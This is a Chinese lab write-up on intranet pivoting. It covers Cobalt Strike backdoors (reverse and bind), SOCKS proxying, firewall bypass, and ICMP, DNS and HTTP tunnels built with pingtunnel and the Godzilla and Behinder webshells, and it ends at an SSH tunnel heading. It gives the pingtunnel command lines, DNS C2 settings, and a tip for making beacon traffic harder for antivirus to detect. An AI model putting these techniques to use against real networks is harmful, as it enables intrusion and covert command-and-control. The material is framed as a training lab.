代理通讯&隧道通讯
代理通讯&隧道通讯
环境搭建
添加虚拟网卡
物理机禁用虚拟网卡
为 FILE SQL WEB 三台主机添加自定义网卡
WEBFILESQL
网络配置
WEB
SQL
FILE
DC
在 FILE 上启用 ftp 服务添加角色与功能Web 服务器(iis)ftp 服务器添加 ftp 站点绑定 FILE 192.168.3.22
选择无 SSL,后续步骤任意设置
Windows&CS 实现代理通讯
注:该实验关闭所有防火墙
1.物理机启用 CS 连接 kali,kali 作为攻击机在 CS 目录下,用 chmod +x teamserver&chmod +x cobaltstrike
添加权限用 ./teamserver + ip + 密码
命令开放 50050 端口来建立连接
成功连接
在 SQL 主机上开通一个 WEB 服务,让WEB 主机能正常访问
2.在 WEB 上写入后门,配置代理,让本机能够访问 192.168.2.22
生成后门
在 WEB 主机上运行生成的后门,回连间隔设置为 1(靶机环境便于实验,真实环境可降低回连间隔,杀软更难发现后门流量)
启用 SOCKS 代理,选择 4a 版本
打开 Proxifier,设置代理服务器,端口为 SOCKS 代理端口配置代理规则,将目标主机设为 192.168.2. *
如果物理机访问该网段主机,则会通过 CS 代理服务器 192.168.133.150
进行访问。WEB 与目标主机SQL 能够正常通讯,而 WEB 上的后门又将流量通过 SOCKS 代理转发到 kali,则可以实现物理机访问目标主机成功在物理机上访问到 192.168.2.22用 fscan 扫描可以看到 SQL 主机开放的端口和其他信息
正向后门&反向后门
1.反向后门后门分为 reverse 反向
& bind 绑定 正向
两种,在 WEB 上运行的后门为反向后门
运行反向后门, WEB 主动连接 kali
2.正向后门上线 SQL正向后门会让 SQL 开放一个端口,WEB 再通过这个端口与 SQL 建立通讯
新建一个监听器
生成 stageless 程序,放在 SQL 主机上运行
切换到 SQL 主机, netstat -an
发现4444端口开放
CS 输入 connect 192.168.2.22
成功上线SQL 主机
代理步骤同上,物理机成功连接 192.168.3.22
ftp 服务
fscan 扫描也可扫到 ftp 服务
3.正向后门上线 DC 同理
实现所有主机通讯
有防火墙上线
1.1 道防火墙a.WEB 开启防火墙,SQL 关闭防火墙使用反向后门上线 WEB,此时只能正向上线 SQL,若反向上线 SQL 会被 WEB 防火墙入站规则阻拦
正向后门连接成功
用 WEB 反向连接 SQL
选代理转发-> 转发上线
生成一个新的监听器
生成反向后门
可以看到连接已建立但无法上线,防火墙阻拦了 SQL 入站
b.WEB 关闭防火墙,SQL 开启防火墙
使用正反向后门都可上线 WEB,只能使用反向后门上线 SQL,若正向上线 SQL 会被 SQL 防火墙入站规则阻拦
反向上线成功
可以看到正向上线端口已开启,但被 SQL 防火墙入站规则阻拦
协议判断
ICMP ping ip or domain
HTTP curl ip or domain
SSH ssh ip or domain
DNS nslookup domain
TCP telnet ip port
隧道通讯
1.ICMP 隧道(在 WEB 上模拟真实环境:防火墙入站规则只开放 80 端口,出站规则只开放 ICMP)打开防火墙属性,将域、公用、专用出站都设为阻止
设置 ICMP 出站
哥斯拉生成 shell 并连接 WEB,模拟攻击 WEB 并拿到权限,ping Kali 成功,证明 WEB 出网 ICMP 开放,可建立 ICMP 隧道上线 Kali 上使用 pingtunnel,./pingtunnel -type server
开启 pingtunnel 服务,指定 Kali 为服务器,等待连接
WEB 使用 pingtunnel,pingtunnel -type client -l :1234 -s 192.168.133.150 -t 192.168.133.150:5678 -tcp 1 -noprint 1 -nolog 1
这条命令指定 WEB 为客户端,在 WEB 上开放 1234 端口并对 1234 端口进行监听。-tcp 1
会将 TCP 流量(此处生成的后门用http协议通讯)封装为 ICMP 数据包,然后转发到 Kali,Kali 再对 ICMP 数据包解包提取 TCP 数据转发到 Kali 的 5678 端口
成功建立与 WEB 的连接
CS 中新建 2 个监听器,test1 监听器用来生成反向后门(stageless) test1.exe,通过哥斯拉上传 WEB
哥斯拉运行 test1.exe,成功上线 WEB
2.DNS 隧道(DNS 上线需要服务器;防火墙入站规则只开放 80 端口,出站规则只开放 DNS)a.CS 自带 DNS 功能上线
新建两条防火墙规则,让DNS 出站
命令 nslookup baidu.com
证明DNS 出网
对域名做如下配置,ns1.l12.fun->c2.l12.fun
ns2.l12.fun->c2.l12 .fun
c2.l12.fun->l12. fun
(注意:在安全组中添加入站端口不然 Cobalt strike连不上
CS 连上公网服务器,新建一个监听器,生成一个 DNS 后门(stageless)
成功上线 WEB,此处还要配置两条入站规则,与 WEB 中的出站规则对应 (反向后门,服务器会阻拦入站流量)将回连间隔设置为 1,输入两条命令 checkin
mode dns-txt
加快连接速度
内网穿透
1.HTTP 隧道a.WEB 不允许入站(除 web),不允许出站;SQL 允许入站,不允许出站web 所对应 80 端口可入站,则可以通过冰蝎建立 HTTP 隧道
点击开启会将目标内网主机 80 端口映射到本地 2222 端口,访问 127.0.0.1:2222 可实现通讯
使用哥斯拉建立 HTTP 隧道
浏览器配置一个代理
开启代理后也可实现通讯
b.WEB 不允许入站(除 web),允许出站;SQL 允许入站,不允许出站
2.SSH 隧道